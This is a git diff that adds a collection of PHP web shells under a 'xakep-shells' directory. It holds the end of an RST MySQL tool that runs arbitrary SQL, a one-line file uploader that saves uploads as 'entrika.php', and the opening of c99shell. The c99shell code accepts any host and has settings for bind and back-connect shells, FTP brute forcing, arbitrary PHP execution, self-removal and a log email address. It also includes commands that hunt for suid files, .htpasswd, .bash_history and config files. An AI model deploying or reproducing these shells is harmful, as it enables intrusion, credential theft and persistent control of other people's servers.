+ //$query = "RENAME TABLE $tbl TO $alttbl";
+ $query = "ALTER TABLE $tbl RENAME TO $alttbl";
+ $result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+ $t=base64_encode("Action: Òàáëèöà [ $tbl ] ïåðåèìåíîâàíà â [ $alttbl ] ");
+ print " ";
+ }
+
+/*-------------------Ñòðóêòóðà òàáëèöû-----------------*/
+if (isset($st_tab) && $st_tab=='TRUE'){
+ mysql_select_db($st_db);
+ $result = mysql_query('desc '.$tbl, $connection);
+ print "Ñòðóêòóðà òàáëèöû [ $tbl ] ".
+ "";
+
+ for ($i=0;$i<@mysql_num_fields($result);$i++){
+ $name=mysql_field_name($result,$i);
+ $name=eregi_replace("Field","Ïîëå",trim($name));
+ $name=eregi_replace("Type","Òèï",trim($name));
+ $name=eregi_replace("Null","Íîëü",trim($name));
+ $name=eregi_replace("Key","Èíäåêñû",trim($name));
+ $name=eregi_replace("Default","Ïî óìîë÷àíèþ",trim($name));
+ $name=eregi_replace("Extra","Äîïîëíèòåëüíî",trim($name));
+ $nn .= "$name ";
+ }
+ print "$nn ";
+ while ($l_tbl = @mysql_fetch_array($result, MYSQL_ASSOC)) {
+ print "";
+ foreach ($l_tbl as $k_tbl =>$col_v_tbl) {
+ if (strtoupper(substr($col_v_tbl, 0, 3)) === 'PRI') {
+ $col_v_tbl="Ïåðâè÷íûé";
+ }
+ if (strtoupper(substr($col_v_tbl, 0, 3)) === 'UNI') {
+ $col_v_tbl="Óíèêàëüíûé";
+ }
+ if (strtoupper(substr($col_v_tbl, 0, 3)) === 'MUL' && $col_v_tbl !=='') {
+ $col_v_tbl="Èíäåêñ";
+ }
+ if (strtoupper(substr($col_v_tbl, 0, 3)) === 'YES') { $col_v_tbl="Äà"; }
+ if (eregi("Field", $k_tbl)) {
+ print "".htmlspecialchars($col_v_tbl)." ";
+ }elseif (eregi("Type", $k_tbl)) {
+ print "".htmlspecialchars($col_v_tbl)." ";
+ }else{
+ print "".htmlspecialchars($col_v_tbl)." ";
+ }
+ }
+ print " ";
+ }
+ print "
";
+ @mysql_free_result($result);
+}
+
+/*-------------Ïðîèçâîëüíûé çàïðîñ ê òàáëèöå-------------*/
+if ($HTTP_GET_VARS['q_tbl']=='table') { $q_tbl="SELECT * FROM `$tbl` WHERE 1 LIMIT 0, 30"; }
+if ($HTTP_GET_VARS['return_sql']=='ok') { $q_tbl=trim($HTTP_GET_VARS['new_query_tbl']); }
+$form_query_db_tbl="
+
+
+
+
+
+
+
+
+ ";
+
+
+if (isset($HTTP_GET_VARS['query_tbl']) || $HTTP_GET_VARS['q_tbl']=='table') {
+ print $form_query_db_tbl." ";
+}
+
+
+if (isset($new_query_tbl)) {
+ $new_query_tbl=trim($new_query_tbl);
+ print $form_query_db_tbl;
+
+
+ $result_tbl = mysql_query($new_query_tbl) or die("$h_error".mysql_error()." $f_error");
+ if ($result_tbl !=='') {
+ print "
+ ";
+ if ($php_kod=='ok') { print "PHP-êîä çàïðîñà: \$sql = \"$new_query_tbl\"; "; }
+ if (preg_match("[drop]",$new_query)) { print "Òàáëèöà óäàëåíà, îáíîâèòå ñïèñîê òàáëèö áàçû."; }
+
+ print "Çàïðîñ óñïåøíî âûïîëíåí ";
+ /*ïîëó÷àåì íàçâàíèÿ ñòîëáöîâ*/
+ for ($i=0;$i<@mysql_num_fields($result_tbl);$i++){
+ $name_tbl=mysql_field_name($result_tbl,$i);
+ print "$name_tbl ";
+ }
+
+ print " ";
+ while ($line_tbl = @mysql_fetch_array($result_tbl, MYSQL_ASSOC)) {
+ print "";
+ foreach ($line_tbl as $key_tbl =>$col_value_tbl) {
+ print "".htmlspecialchars($col_value_tbl)." ";
+ }
+ print " ";
+ }
+ print "
";
+ @mysql_free_result($result_tbl);
+ }
+}
+
+/*-------------ïîêàçàòü ñòðîêè òàáëèöû--------------*/
+if (!isset($alter_table) && !isset($st_tab) && !isset($query_tbl) && !isset($new_query_tbl) &&
+!isset($dump) && !isset($strukt) && !isset($query_edit) && !isset($query_del) && !isset($q_GET) &&
+!isset($nn_row) && !isset($nn) && !isset($upd_f)) {
+ print "";
+
+//îïðåäåëÿåì èíäåêñ äëÿ òàáëèöû, ïî êàêîìó ïîëþ(ïîëÿì) áóäåì èñêàòü ðåäàêòèðóåìóþ çàïèñü
+//Key_name Èìÿ èíäåêñà, Column_name Èìÿ ñòîëáöà
+$query_ind = 'SHOW KEYS FROM '.$tbl;
+$result_ind = mysql_query($query_ind) or die("$h_error".mysql_error()." $f_error");
+
+while ($row = mysql_fetch_array($result_ind, MYSQL_ASSOC)) {
+ if ($row['Key_name'] == 'PRIMARY') {
+ $primary[] .= $row['Column_name'];
+ }
+}
+
+mysql_free_result($result_ind);
+
+ $query = "SELECT * FROM $tbl LIMIT $limit_start,$limit_count";
+ $result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+if (mysql_num_rows($result) == 0) {
+ print "Òàáëèöà $tbl íå ñîäåðæèò íè îäíîé çàïèñè";
+}else{
+ /*ïîëó÷àåì íàçâàíèÿ ñòîëáöîâ*/
+ print " ";
+ for ($i=0;$i$name";
+ }
+}
+ while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
+ print " ";
+
+ foreach ($line as $key =>$col_value) {
+
+ if (count($primary) > 0) {
+ if (in_array($key,$primary)) { $edit .= urlencode("`$key`='$col_value' AND "); }
+ }
+ else {
+ //if (strlen($col_value) >= 20) {
+ // $e_count=substr($col_value,0,20);
+ // $edit .= urlencode("`$key`='$e_count' AND ");
+ //} else {
+ $edit .= urlencode("`$key`='$col_value' AND ");
+ //}
+
+ }
+
+ $string .= "".htmlspecialchars($col_value)." ";
+ }
+ $edit=substr_replace($edit,"",-5); //îòáðîñèòü ïîñëåäíèé +AND+
+ print "Edit ".
+ "Del ".
+ $string." ";
+
+ unset($edit);
+ unset($string);
+ }
+
+ mysql_free_result($result);
+ print "
";
+}
+
+//óäàëÿåì çàïèñü
+if (isset($query_del)) {
+ $query = 'DELETE FROM '.$tbl.' WHERE '.urldecode($query_del);
+ $r_del = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+ print "Óñïåøíî óäàëåíî ñòðîê ( ".mysql_affected_rows()." )";
+
+}
+
+//âûâîäèì ôîðìó ðåäàêòèðîâàíèÿ ñòðîêè
+if (isset($query_edit)) {
+ $query = 'SELECT * FROM '.$tbl.' WHERE '.urldecode($query_edit);
+ $r_edit = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+
+
+print "Ðåäàêòèðîâàíèå çíà÷åíèé ïîëåé òàáëèöû ".
+ " ";
+ print " ";
+}
+
+if (isset($q_GET)) {
+ $url=$HTTP_SERVER_VARS['QUERY_STRING'];
+ if ($HTTP_GET_VARS['up_str']=='up_ok') {
+ $del_str=urldecode(substr_replace($del_str,"",-5));
+ $b = explode('&', $url);
+ for ($i = 10; $i < count($b); $i++) {
+ $q = explode("=",$b[$i]);
+ $q_a .= "`".$q[0]."`='".$q[1]."', ";
+ }
+ $q_a_ins=urldecode(substr_replace($q_a,"",-2));
+ $q_st=urldecode(substr_replace($q_st,"",-2));
+ //÷òî çàìåíÿåì $del_str
+ //íà ÷òî áóäåì ìåíÿòü $q_a_ins
+
+ $up="UPDATE `$tbl` SET $q_a_ins WHERE $del_str LIMIT 1";
+ $q_ins_new = mysql_query($up) or die("$h_error".mysql_error()." $f_error");
+ $c_a_r=mysql_affected_rows();
+ print "".
+ "PHP-êîä çàïðîñà: \$sql=\"$up\"; ".
+ "Èçìåíåíî ñòðîê ($c_a_r)
";
+ }
+ if ($HTTP_GET_VARS['up_str']=='ins_ok') {
+ $b = explode('&', $url);
+ for ($i = 10; $i < count($b); $i++) {
+ $q = explode("=",$b[$i]);
+ $i_cols .="`$q[0]`, ";
+ $i_val .= "'$q[1]', ";
+ }
+ $i_cols=urldecode(substr_replace($i_cols,"",-2)); //êîëîíêè
+ $q_a_ins=urldecode(substr_replace($i_val,"",-2)); //çíà÷åíèÿ
+ $up="INSERT INTO `$tbl` ($i_cols) VALUES ($q_a_ins)";
+ $q_ins_new = mysql_query($up) or die("$h_error".mysql_error()." $f_error");
+ $c_a_r=mysql_affected_rows();
+ print "".
+ "PHP-êîä çàïðîñà: \$sql=\"$up\"; ".
+ "Èçìåíåíî ñòðîê ($c_a_r)
";
+
+ }
+}
+
+/*------------Âñòàâèòü ðÿä--------------*/
+if (isset($nn_row) && $HTTP_GET_VARS['nn_row']=='ok') {
+ $nn_q = 'SHOW FIELDS FROM '.$tbl;
+ $r_n = mysql_query($nn_q) or die("$h_error".mysql_error()." $f_error");
+print "".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ "Âñòàâèòü íîâûé ðÿä â òàáëèöó [ $tbl ] ".
+ " ";
+}
+
+if (isset($nn) && $HTTP_GET_VARS['nn']=='ok') {
+ $url_n=urldecode($HTTP_SERVER_VARS['QUERY_STRING']);
+ $b_nn = explode('&', $url_n);
+ for ($i = 8; $i < count($b_nn); $i++) {
+ $q_nn = explode("=",$b_nn[$i]);
+ $q_a_nn .= "`".$q_nn[0]."` ,";
+ $q_nn_v .= "'".$q_nn[1]."' ,";
+ }
+
+ $q_nn_ins=urldecode(substr_replace($q_a_nn,"",-2));
+ $q_nn_v=substr_replace($q_nn_v,"",-2);
+ $sql_n="INSERT INTO `$tbl` ( $q_nn_ins ) VALUES ( $q_nn_v )";
+ mysql_query($sql_n) or die("$h_error".mysql_error()." $f_error");
+ $c_n_r=mysql_affected_rows();
+ print " ".
+ "Action: Óñïåøíî âñòàâëåíî ñòðîê ($c_n_r) ".
+ "PHP-êîä çàïðîñà: \$sql=\"$sql_n\";
";
+}
+
+/*-----------dump òàáëèöû------------*/
+$form_dump=
+"".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ";
+
+if ($dump=="tab"){ print $form_dump;}
+/*----------Òîëüêî ñòðóêòóðà------------*/
+
+if ($HTTP_GET_VARS['strukt']=='t_strukt' && $HTTP_GET_VARS['send']=='send_br' ){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ //$file = "/tmp/dump_".$tbl.".sql";
+ // îòêðûâàåì ôàéë äëÿ çàïèñè äàìïà
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_GET_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
+
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
+ $row = mysql_fetch_row($res);
+ fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
+ fputs($fp, $row[1].";\n\n");
+ fclose($fp);
+ $dump_file=file($file);
+print "";
+foreach ($dump_file as $k=>$v){$v=str_replace("\n"," ",$v);print "".strip_tags($v," ")." ";}
+print "
";
+
+unlink($file);
+}
+
+/*----------Ñòðóêòóðà è äàííûå------------*/
+if ($HTTP_GET_VARS['strukt']=='d_strukt' && $HTTP_GET_VARS['send']=='send_br'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ //$file = "/tmp/dump_".$tbl.".sql";
+ // îòêðûâàåì ôàéë äëÿ çàïèñè äàìïà
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n # MySQL version: (".mysql_GET_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
+
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
+ $row = mysql_fetch_row($res);
+ fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
+ fputs($fp, $row[1].";\n\n");
+
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = mysql_query("SELECT * FROM `$tbl`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+
+ fclose($fp);
+$dump_file=file($file);
+print "";
+foreach ($dump_file as $k=>$v){$v=str_replace("\n"," ",$v);print "".strip_tags($v," ")." ";}
+print "
";
+unlink($file);
+}
+
+/*----------Òîëüêî äàííûå------------*/
+if ($HTTP_GET_VARS['strukt']=='d' && $HTTP_GET_VARS['send']=='send_br'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ //$file = "/tmp/dump_".$tbl.".sql";
+ // îòêðûâàåì ôàéë äëÿ çàïèñè äàìïà
+ $fp = fopen($file, "w");
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = mysql_query("SELECT * FROM `$tbl`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+
+ fclose($fp);
+$dump_file=file($file);
+print "";
+foreach ($dump_file as $k=>$v){$v=str_replace("\n"," ",$v);print "".strip_tags($v," ")." ";}
+print "
";
+unlink($file);
+}
+/*-------------END! ïîêàçàòü ñòðîêè òàáëèöû--------------*/
+
+print "
+
+
+
+
+
+
";
+}
+
+/*------------------------ END R I G H T B L O C K ! -----------------------*/
+/*èíôîðìàöèÿ php*/
+if (isset($php) && $php=='ok'){
+phpinfo();
+}
+if (isset($q_help) && $q_help=='ok'){
+ print 'Ìèíè HELP ïî çàïðîñàì
+ SHOW TABLES âûâîäèò ñïèñîê òàáëèö áàçû
+ SHOW OPEN TABLES âûâîäèò ñïèñîê òàáëèö, êîòîðûå â íàñòîÿùèé ìîìåíò îòêðûòû â êýøå òàáëèöû
+ SHOW TABLE STATUS ñòðóêòóðà òàáëèö áàçû
+ SELECT VERSION(), CURRENT_DATE âûâîäèò âåðñèþ MySQL ñåðâåðà è òåêóùóþ äàòó
+ SELECT (2*2), (4+1)*5, (9/3), (5-3) èñïîëüçóåì MySQL êàê êàëüêóëÿòîð: óêàçûâàåì ÷åðåç çàïÿòóþ àðèôìåòè÷åñêèå îïåðàöèè
+ DROP TABLE IF EXISTS table_name óäàëèòü òàáëèöó \"table_name\"
+ CREATE TABLE bar (m INT) ñîçäàòü òàáëèöó bar ñ îäíèì ñòîëáöîì (m) òèïà integer
+ CREATE TABLE test (number INTEGER,texts CHAR(10)); ñîçäàòü òàáëèöó test ñ ïîëÿìè number -òèï INTEGER è ïîëå texts -òèï CHAR
+ CREATE TABLE `test` SELECT * FROM `rush`; ñîçäàòü òàáëèöó test ,êîïèðóÿ òàáëèöó rush
+ ALTER TABLE test CHANGE SITE OLD_SITE INTEGER ïåðåèìåíîâàòü ñòîëáåö INTEGER èç SITE â OLD_SITE
+ ALTER TABLE test RENAME rush ïåðåèìåíîâàòü òàáëèöó test â rush
+ UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\' ñìåíèòü þçåðó root ïàðîëü
+ FLUSH PRIVILEGES ïåðå÷èòàòü òàáëèöó ïðèâèëåãèé þçåðîâ
+ GRANT ALL PRIVILEGES ON *.* TO rst@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION äîáàâèòü íîâîãî ñóïåð-þçåðà mysql rst ñ ïàðîëåì some_pass
+ ';
+
+}
+
+print "
+
+
+
+
+
+
+
+
+
+
+
+ free script ©RusH Security Team
+
+
+
+
+
+ ";
+
+?>
diff --git a/xakep-shells/PHP/uploader.php.php.txt b/xakep-shells/PHP/uploader.php.php.txt
new file mode 100644
index 0000000..f2f2179
--- /dev/null
+++ b/xakep-shells/PHP/uploader.php.php.txt
@@ -0,0 +1,9 @@
+
+
+Send this file:
+
+
+
+move_uploaded_file($userfile, "entrika.php");
+?>
+
diff --git a/xakep-shells/PHP/w.php.php.txt b/xakep-shells/PHP/w.php.php.txt
new file mode 100644
index 0000000..cd63ef0
--- /dev/null
+++ b/xakep-shells/PHP/w.php.php.txt
@@ -0,0 +1,2653 @@
+$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
+$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
+foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
+
+$shver = "1.0 pre-release build #17"; //Current version
+//CONFIGURATION AND SETTINGS
+if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
+elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
+else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
+}
+
+$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
+
+if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+if (empty($surl))
+{
+ $surl = "?".$includestr; //Self url
+}
+$surl = htmlspecialchars($surl);
+
+$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
+
+//Authentication
+$login = ""; //login
+//DON'T FORGOT ABOUT PASSWORD!!!
+$pass = ""; //password
+$md5_pass = ""; //md5-cryped pass. if null, md5($pass)
+
+$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
+$login_txt = "Restricted area"; //http-auth message.
+$accessdeniedmess = "c99shell v.".$shver." : access denied";
+
+$gzipencode = TRUE; //Encode with gzip?
+
+$filestealth = TRUE; //if TRUE, don't change modify- and access-time
+
+$donated_html = "donated_html ";
+/* If you publish free shell and you wish
+add link to your site or any other information,
+put here your html. */
+$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
+
+$curdir = "./"; //start folder
+//$curdir = getenv("DOCUMENT_ROOT");
+$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
+$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
+
+$log_email = "prozente@gmail.com"; //Default e-mail for sending logs
+
+$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
+$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
+
+// Registered file-types.
+// array(
+// "{action1}"=>array("ext1","ext2","ext3",...),
+// "{action2}"=>array("ext4","ext5","ext6",...),
+// ...
+// )
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+
+// Registered executable file-types.
+// array(
+// string "command{i}"=>array("ext1","ext2","ext3",...),
+// ...
+// )
+// {command}: %f% = filename
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+
+/* Highlighted files.
+ array(
+ i=>array({regexp},{type},{opentag},{closetag},{break})
+ ...
+ )
+ string {regexp} - regular exp.
+ int {type}:
+0 - files and folders (as default),
+1 - files only, 2 - folders only
+ string {opentag} - open html-tag, e.g. "" (default)
+ string {closetag} - close html-tag, e.g. " " (default)
+ bool {break} - if TRUE and found match then break
+*/
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "), // example
+ array("config.php",1) // example
+);
+
+$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
+ // array (i=>{letter} ...); string {letter} - letter of a drive
+//$safemode_diskettes = range("a","z");
+$hexdump_lines = 8;// lines in hex preview file
+$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
+
+$nixpwdperpage = 100; // Get first N lines from /etc/passwd
+
+$bindport_pass = "c99"; // default password for binding
+$bindport_port = "31373"; // default port for binding
+$bc_port = "31373"; // default port for back-connect
+$datapipe_localport = "8081"; // default port for datapipe
+
+// Command-aliases
+if (!$win)
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "ls -la"),
+ array("find all suid files", "find / -type f -perm -04000 -ls"),
+ array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
+ array("find all sgid files", "find / -type f -perm -02000 -ls"),
+ array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
+ array("find config.inc.php files", "find / -type f -name config.inc.php"),
+ array("find config* files", "find / -type f -name \"config*\""),
+ array("find config* files in current dir", "find . -type f -name \"config*\""),
+ array("find all writable folders and files", "find / -perm -2 -ls"),
+ array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
+ array("find all service.pwd files", "find / -type f -name service.pwd"),
+ array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
+ array("find all .htpasswd files", "find / -type f -name .htpasswd"),
+ array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
+ array("find all .bash_history files", "find / -type f -name .bash_history"),
+ array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
+ array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
+ array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
+ array("list file attributes on a Linux second extended file system", "lsattr -va"),
+ array("show opened ports", "netstat -an | grep -i listen")
+ );
+}
+else
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "dir"),
+ array("show opened ports", "netstat -an")
+ );
+}
+
+$sess_cookie = "c99shvars"; // Cookie-variable name
+
+$usefsbuff = TRUE; //Buffer-function
+$copy_unset = FALSE; //Remove copied files from buffer after pasting
+
+//Quick launch
+$quicklaunch = array(
+ array("[Home] ",$surl),
+ array("[Back] ","#\" onclick=\"history.back(1)"),
+ array("[Forward] ","#\" onclick=\"history.go(1)"),
+ array("[UPDIR] ",$surl."act=ls&d=%upd&sort=%sort"),
+ array("[Refresh] ",""),
+ array("[Search] ",$surl."act=search&d=%d"),
+ array("[Buffer] ",$surl."act=fsbuff&d=%d"),
+ array("[Encoder] ",$surl."act=encoder&d=%d"),
+ array("[Tools] ",$surl."act=tools&d=%d"),
+ array("[Proc.] ",$surl."act=processes&d=%d"),
+ array("[FTP brute] ",$surl."act=ftpquickbrute&d=%d"),
+ array("[Sec.] ",$surl."act=security&d=%d"),
+ array("[SQL] ",$surl."act=sql&d=%d"),
+ array("[PHP-code] ",$surl."act=eval&d=%d"),
+ array("[Self remove] ",$surl."act=selfremove"),
+ array("[Logout] ","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
+);
+
+//Highlight-code colors
+$highlight_background = "#c0c0c0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["c99shcook"]);
+
+//END CONFIGURATION
+
+
+// \/Next code isn't for editing\/
+@set_time_limit(0);
+$tmp = array();
+foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c99shell : Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
+if (!empty($login))
+{
+ if (empty($md5_pass)) {$md5_pass = md5($pass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
+ {
+ if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" | "," ",$donated_html));}
+ header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit($accessdeniedmess);
+ }
+}
+if ($act != "img"){
+$lastdir = realpath(".");
+chdir($curdir);
+if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
+$sess_data = unserialize($_COOKIE["$sess_cookie"]);
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+
+$disablefunc = @ini_get("disable_functions");
+if (!empty($disablefunc))
+{
+ $disablefunc = str_replace(" ","",$disablefunc);
+ $disablefunc = explode(",",$disablefunc);
+}
+
+if (!function_exists("c99_buff_prepare"))
+{
+function c99_buff_prepare()
+{
+ global $sess_data;
+ global $act;
+ foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+ sort($sess_data["copy"]);
+ sort($sess_data["cut"]);
+ if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+}
+}
+c99_buff_prepare();
+if (!function_exists("c99_sess_put"))
+{
+function c99_sess_put($data)
+{
+ global $sess_cookie;
+ global $sess_data;
+ c99_buff_prepare();
+ $sess_data = $data;
+ $data = serialize($data);
+ setcookie($sess_cookie,$data);
+}
+}
+foreach (array("sort","sql_sort") as $v)
+{
+ if (!empty($_GET[$v])) {$$v = $_GET[$v];}
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+}
+if ($sort_save)
+{
+ if (!empty($sort)) {setcookie("sort",$sort);}
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0,$len)."...".substr($content,-$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if (!is_numeric($size)) {return FALSE;}
+ else
+ {
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+ else {$size = $size . " B";}
+ return $size;
+ }
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d)) {return copy($d,$t);}
+ else {return FALSE;}
+}
+}
